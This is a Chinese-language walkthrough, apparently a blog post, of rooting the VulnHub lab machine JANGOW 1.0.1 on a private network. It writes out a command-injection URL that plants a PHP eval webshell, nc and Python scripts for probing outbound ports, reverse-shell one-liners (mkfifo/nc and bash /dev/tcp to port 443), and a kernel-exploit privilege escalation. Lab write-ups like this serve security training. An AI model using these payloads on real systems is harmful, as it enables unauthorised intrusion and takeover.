Vulnhub靶机:JANGOW_ 1.0.1

介绍

系列:Jangow(此系列共1台)
发布日期:2021年11月4日
难度:低
提示信息:爆破是拿下靶机的重要手段
目标:取得 root 权限 + Flag
学习:

  • 主机发现
  • 端口扫描
  • 路径枚举
  • 命令执行
  • 反弹shell
  • ftp利用
  • 内核提权

靶机地址:https://www.vulnhub.com/entry/jangow-101,754/

信息收集

主机发现

netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。

sudo netdiscover -i eth0 -r 192.168.56.0/24

主机信息探测

nmap -p- 192.168.56.118
nmap -p21,80 -A 192.168.56.118

在这里插入图片描述

网站探测

打开网站如下
在这里插入图片描述

在这里插入图片描述

把页面上的按钮点个遍,发现点击右上角的“buscar”按钮会跳转到下图页面,看起来像是要我们输入一些内容
在这里插入图片描述

试着输入id,结果发现了命令执行漏洞
在这里插入图片描述

命令执行漏洞-(解决反弹shell失败问题)

http://192.168.56.118/site/busque.php?buscar=echo '<?php eval($_POST["cmd"]);?>' > cmd.php

在这里插入图片描述

接着反弹shell,但是很蛋疼,就是反弹不过来
在这里插入图片描述

碰到这种情况,可能是存在端口限制。这里使用nc探测可用端口(一般服务器不会对80、443端口做限制),这里出于演示目的,说明一下该怎样探测出网端口。

解决出网端口问题

排雷姿势1:nc端口扫描

  1. 在kali上把1-65535所有端口绑定到某个端口上,并对其监听
sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234
  1. 在靶机上运行如下脚本进行探测(注意格式需要为Unix格式!)
# !/bin/bash
for i in $(seq 1 65535)
do
    timeout 1 nc -vz 192.168.56.102 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt;
done
echo "all port done"

你可以使用dos2unix或者notepad++来转换上面的文件内容为Unix格式的,不然蚁剑运行的时候会出错。
在这里插入图片描述

我在这里花费了1个小时的时间,百思不得其解为什么sh脚本已经运行完了,但是却没有反弹shell,如下图。我甚至开启了wireshark抓包,但是抓不到任何数据包!
在这里插入图片描述

在反复猜疑中,我刷新蚁剑时,发现扫描结果导出文件“out.txt”的大小在变化,我恍然大悟。由于靶机对端口做了限制,才导致wireshark抓不到流量,但是靶机还是一直在尝试连接kali,虽然蚁剑里面出现了新的对话框,但是后台还在尝试连接中,只有继续耐心等待才行!
在这里插入图片描述

当发现kali那边建立反弹shell时,我在导出文件中发现了开放端口443
在这里插入图片描述

排雷姿势2:burpsuite爆破端口

既然我的目的是探测靶机出网端口,这又是个命令执行漏洞,可以这么搞。如下图,我还是在kali上把1-65535所有端口绑定到某个端口上,并对其监听,同时开启抓包,然后借助命令执行漏洞对不同端口进行爆破。

当nc建立连接,tcpdump抓到数据包的时候,就可以暂停爆破了,通过抓包发现靶机可以与kali的443端口建立连接!另外,测试的时候发现,在尝试了第一种排雷姿势的时候,需要重启靶机才能正常使用第二种排雷姿势!
在这里插入图片描述

特别注意:
我最初是打算将爆破结果导入到一个文本中的,借此判断出网端口,但是导出的文件是空的。出现这种情况的原因很简单,抓包可以看到没有响应体,所以导出的文件是空文件。因此,我最后是采用了tcpdump抓包的方式来判断出网端口。
在这里插入图片描述

在这里插入图片描述

排雷姿势3:其他手段

除了用nc,还有被的姿势吗?有的。
写个python脚本,利用telnet反复探测

import requests

url = "http://192.168.56.118/site/busque.php?buscar=telnet%20192.168.56.101%20"
for i in range(440, 65536):
    try:
        payload = url + str(i)
        req = requests.get(payload, timeout=1)
        if "Trying" in req.text:
            print(i)
    except:
        pass

本地测试一下,代码没问题
在这里插入图片描述

丢到蚁剑上,运行一下脚本,完全没问题
在这里插入图片描述

反弹shell(解决-e问题)

我这里重启了kali(它的ip从102变成了101),消除了设置的iptables,反弹shell看起来失败了,应该是靶机的nc缺少-e参数导致的
在这里插入图片描述

姿势1:使用nc解决-e问题

对下面内容手动做url编码:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f

在这里插入图片描述

姿势2:使用bash

不仅是nc,bash反弹shell也是实战中用的最多的方法,对下面内容手动做url编码:

bash -i >& /dev/tcp/192.168.56.101/443 0>&1

很显然,反弹shell失败了
在这里插入图片描述

换一种姿势呢?成功了

bash -c 'bash -i >& /dev/tcp/192.168.56.101/443 0>&1'

在这里插入图片描述

如果再失败的话可以考虑指明bash的位置,因为打靶机的时候碰到过这种奇葩情况

which bash
/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.101/443 0>&1'

提权

提权环节就很简单了,发现靶机的内核版本是16.04,应该可以内核漏洞提权
在这里插入图片描述

这里搜索到好几个提权脚本,经过测试,45010.c可以成功提权。投递exp的时候,发现既无法wget下载,也无法通过nc投递,只好借助蚁剑上传了。
在这里插入图片描述

在这里插入图片描述

第二种打法

靶机作者提示,爆破是拿下靶机的重要手段。

目录爆破

目录爆破帮助我们发现了一个账号密码
在这里插入图片描述

结果发现,爆破出来的账号密码可以ftp登录和系统登录。那这不省事了?依然是熟悉的内核漏洞提权
在这里插入图片描述

ftp投递exp实现提权

编译exp通过ftp投递到靶机上面,这里有一个大坑,字符/在靶机上面打印不出来,导致无法正常运行exp,仔细观察一遍键盘后,我发现,除了字母区右侧有/符号,数字区上面也有/符号。最终借助数字区上面的/符号成功运行exp,提权成功。
在这里插入图片描述

总结

在这里插入图片描述

参考

靶机练习-JANGOW: 1.0.1

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值